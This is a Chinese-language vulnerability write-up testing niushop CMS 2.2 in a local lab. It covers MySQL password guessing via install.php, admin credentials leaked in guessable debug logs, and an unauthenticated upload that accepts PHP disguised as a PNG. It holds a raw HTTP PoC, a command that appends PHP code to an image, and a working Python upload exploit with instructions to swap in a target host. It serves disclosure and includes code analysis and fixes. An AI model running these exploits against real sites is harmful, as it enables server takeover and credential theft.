niushop CMS漏洞最新版本測試全過程(前臺(tái)Getshell)0x01 環(huán)境搭建 Version:單商戶 2.2 測試環(huán)境:MacOS 10.14 + MAMP Pro + BurpSuite + FileMonitor
t01.png (107.25 KB, 下載次數(shù): 77)
下載附件
保存到相冊
2019-5-20 15:23 上傳
0x02 黑盒測試0x02_1 安裝測試
t02.png (87.89 KB, 下載次數(shù): 91)
下載附件
保存到相冊
2019-5-20 15:23 上傳
t07.png (104.51 KB, 下載次數(shù): 70)
下載附件
保存到相冊
2019-5-20 15:25 上傳
下圖為改數(shù)據(jù)包發(fā)送后的文件變化
t08.png (453.33 KB, 下載次數(shù): 73)
下載附件
保存到相冊
2019-5-20 15:25 上傳
關(guān)鍵步驟的數(shù)據(jù)包 每進(jìn)行一步驟通過Action發(fā)送到Repeater保存一份 注意通過FileMonitor觀察文件變化 正常完成后再通過Repeater重新發(fā)送數(shù)據(jù)包并觀察文件變化。
t09.png (103.1 KB, 下載次數(shù): 85)
下載附件
保存到相冊
2019-5-20 15:25 上傳
通過重新發(fā)送前面的數(shù)據(jù)包發(fā)現(xiàn) 即便已經(jīng)安裝 仍可以通過該數(shù)據(jù)包驗(yàn)證爆破mysql密碼(如果mysql密碼正確 此處返回值為1 錯(cuò)誤為0) 歸咎與邏輯錯(cuò)誤 不算漏洞(如果外網(wǎng)可連接mysql 何必通過此處爆破)
POC:
GET /install.php?action=true&dbserver=127.0.0.1&dbpassword=yourpassowd&dbusername=root&dbname=niushop_b2c HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (Android 9.0; Mobile; rv:61.0) Gecko/61.0 Firefox/61.0 Accept: */* Accept-Language: en Accept-Encoding: gzip, deflate X-Requested-With: XMLHttpRequest Connection: close Cookie: action=db 驗(yàn)證另外幾個(gè)數(shù)據(jù)包發(fā)現(xiàn)文件并無變化 暫定為此處無漏洞。
0x02_2 后臺(tái)測試
t10.png (275.07 KB, 下載次數(shù): 84)
下載附件
保存到相冊
2019-5-20 15:26 上傳
t11.png (117.09 KB, 下載次數(shù): 82)
下載附件
保存到相冊
2019-5-20 15:26 上傳
后臺(tái)登錄建議講數(shù)據(jù)包發(fā)送到Repeater進(jìn)行多次發(fā)送 觀察時(shí)候會(huì)有驗(yàn)證碼等限制 測試后臺(tái)是否可爆破 此處經(jīng)過測試 可爆破 Python Poc: 同時(shí)注意觀察文件變化
t12.png (571.35 KB, 下載次數(shù): 83)
下載附件
保存到相冊
2019-5-20 15:26 上傳
如圖 發(fā)現(xiàn)會(huì)寫出日志且目錄命名簡單 可猜解
http://host.com/runtime/log/201901/03.log 即為 域名 + /runtime/log/ + 年月 + / + 號(hào)數(shù) + .log
可訪問查看是否存在敏感信息泄露
t13.png (228.41 KB, 下載次數(shù): 83)
下載附件
保存到相冊
2019-5-20 15:27 上傳
如圖 發(fā)現(xiàn)日志泄露了管理登錄賬號(hào)密碼。
第一枚漏洞Get。
繼續(xù)后臺(tái)功能測試
t14.png (143.28 KB, 下載次數(shù): 86)
下載附件
保存到相冊
2019-5-20 15:27 上傳
從第一個(gè)功能開始測試 每個(gè)功能均使用一遍 持續(xù)觀察文件變化!重要的數(shù)據(jù)包保存一份 重發(fā)測試。
t15.png (154.73 KB, 下載次數(shù): 88)
下載附件
保存到相冊
2019-5-20 15:27 上傳
經(jīng)過使用功能時(shí)發(fā)現(xiàn) 此處僅不可直接上傳php文件 但是可在Repeater中修改圖片為php繼續(xù)上傳 將php文件修改為png格式后上傳不通過 說明此處上傳只做了前端限制和檢查了文件頭 此處先上傳正常圖片 然后修改后綴以及文件中間的內(nèi)容為php代碼來Getshell。
t16.png (183.65 KB, 下載次數(shù): 82)
下載附件
保存到相冊
2019-5-20 15:29 上傳
t17.png (568.48 KB, 下載次數(shù): 82)
下載附件
保存到相冊
2019-5-20 15:29 上傳
需要注意此時(shí)時(shí)需要后臺(tái)權(quán)限的 可嘗試修改后刪除cookie測試上傳能否繼續(xù)完成。
t18.png (293.22 KB, 下載次數(shù): 84)
下載附件
保存到相冊
2019-5-20 15:29 上傳
19.png (573.76 KB, 下載次數(shù): 85)
下載附件
保存到相冊
2019-5-20 15:29 上傳
通過多次修改和觀察發(fā)現(xiàn) 刪除Cookie后可繼續(xù)上傳 但是如過度刪除圖片內(nèi)容 會(huì)導(dǎo)致php文件雖然寫入成功 但是路徑無法返回 根據(jù)監(jiān)控到的文件變化來看 此處以文件hash命名導(dǎo)致無法爆破到路徑 可結(jié)合前面的日志泄露查找shell地址。此處總結(jié)為可前臺(tái)Getshell但是利用麻煩。
t20.png (91.76 KB, 下載次數(shù): 78)
下載附件
保存到相冊
2019-5-20 15:30 上傳
t21.png (152.83 KB, 下載次數(shù): 79)
下載附件
保存到相冊
2019-5-20 15:30 上傳
通過Photoshop生成一張尺寸最小的圖片(約64個(gè)字節(jié))后進(jìn)行嘗試 發(fā)現(xiàn)其實(shí)最要把php文件追加到圖片后面就可以了
命令
Windows:type phpinfo.php >> poc.png MacOS/Linux:cat phpinfo.php >> poc.png 至此 該CMS前臺(tái)Getshell完成。
其余功能測試同理。
0x03 代碼分析 整理一下前面的漏洞
mysql密碼爆破 根據(jù)url直接定位到install.php文件 第38到62行
if($_GET['action']){ $dbserver = $_GET['dbserver']; $dbusername = $_GET['dbusername']; $dbpassword = $_GET['dbpassword']; $dbname = $_GET['dbname']; $link = mysql_connect($dbserver, $dbusername, $dbpassword); $query = mysql_query("SHOW DATABASES LIKE '{$dbname}';"); // var_dump($query); if(mysql_fetch_assoc($query) != false){ //說明數(shù)據(jù)庫已經(jīng)存在 echo 1; exit(); }else{ echo 0; exit(); } } $actions = array('license', 'env', 'db', 'finish'); $action = $_COOKIE['action']; $action = in_array($action, $actions) ? $action : 'license'; $ispost = strtolower($_SERVER['REQUEST_METHOD']) == 'post'; if(file_exists(IA_ROOT . '/install.lock') && $action != 'finish') { header('location: ./index.php/shop'); exit; } 顯而易見 在判斷install.lock文件是否存在之前就進(jìn)行數(shù)據(jù)庫驗(yàn)證 不受install.lock的影響 屬于邏輯問題 調(diào)整一下代碼的位置或刪除install.php即可修復(fù)。
敏感日志泄露 定位到application/admin/controller/index.php文件 第40行到68行代碼如下
public function index() { $debug = config('app_debug') == true ? '開發(fā)者模式' : '部署模式'; $this->assign('debug', $debug); $main = \think\Request::instance()->domain(); $this->assign('main', $main); // 銷售排行 $goods_rank = $this->getGoodsRealSalesRank(); $this->assign("goods_list", $goods_rank); $this->assign("is_index", true);
//快捷菜單選項(xiàng) $config_service = new Config(); $shortcut_menu_list = $config_service->getShortcutMenu($this->instance_id, $this->uid); $this->assign('shortcut_menu_list',$shortcut_menu_list['data']);
//快捷菜單id數(shù)組 $selected_ids = []; foreach($shortcut_menu_list['data'] as $key=>$val){ $selected_ids[] = $val['module_id']; } $this->assign('selected_ids',$selected_ids);
$this->assign('is_show_shortcut_menu',1);
$this->getSystemConfig();
return view($this->style . 'Index/index'); } 如42行所示app_debug模式默認(rèn)為true 為開啟狀態(tài) 改cms是基于thinkphp編寫的 debug模式會(huì)寫出調(diào)試日志。廠商和用戶均可將修改為app_debug修改為false再上線 以解決此問題
前臺(tái)Getshell 定位到application/admin/controller/Upload.php文件 第556行到568行代碼如下
// 驗(yàn)證文件 if (! $this->validationFile()) { return $this->ajaxFileReturn(); } $guid = time(); $file_name_explode = explode(".", $this->file_name); // 圖片名稱 $suffix = count($file_name_explode) - 1; $ext = "." . $file_name_explode[$suffix]; // 獲取后綴名 // 獲取原文件名 $tmp_array = $file_name_explode; unset($tmp_array[$suffix]); $file_new_name = implode(".", $tmp_array); $newfile = md5($file_new_name . $guid) . $ext; 后臺(tái)明沒有后綴限制 上傳成功后的新文件($newfile) 的后綴是從源文件中$ext取出來的 導(dǎo)致了后綴可控
0x04 Poc編寫 import requests
session = requests.Session()
paramsGet = {"s":"/wap/upload/photoalbumupload"} paramsPost = {"file_path":"upload/goods/","album_id":"30","type":"1,2,3,4"} paramsMultipart = [('file_upload', ('themin.php', "\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR\x00\x00\x00\x01\x00\x00\x00\x01\x08\x06\x00\x00\x00\x1f\x15\xc4\x89\x00\x00\x00\x0bIDAT\x08\x99c\xf8\x0f\x04\x00\x09\xfb\x03\xfd\xe3U\xf2\x9c\x00\x00\x00\x00IEND\xaeB`\x82<? php phpinfo(); ?>", 'application/octet-stream'))] headers = {"Accept":"application/json, text/javascript, */*; q=0.01","X-Requested-With":"XMLHttpRequest","User-Agent":"Mozilla/5.0 (Android 9.0; Mobile; rv:61.0) Gecko/61.0 Firefox/61.0","Referer":"http://127.0.0.1/index.php?s=/admin/goods/addgoods","Connection":"close","Accept-Language":"en","Accept-Encoding":"gzip, deflate"} cookies = {"action":"finish"} response = session.post("http://127.0.0.1/index.php", data=paramsPost, files=paramsMultipart, params=paramsGet, headers=headers, cookies=cookies)
print("Status code: %i" % response.status_code) print("Response body: %s" % response.content)
將poc種的127.0.0.1替換成目標(biāo)即可
|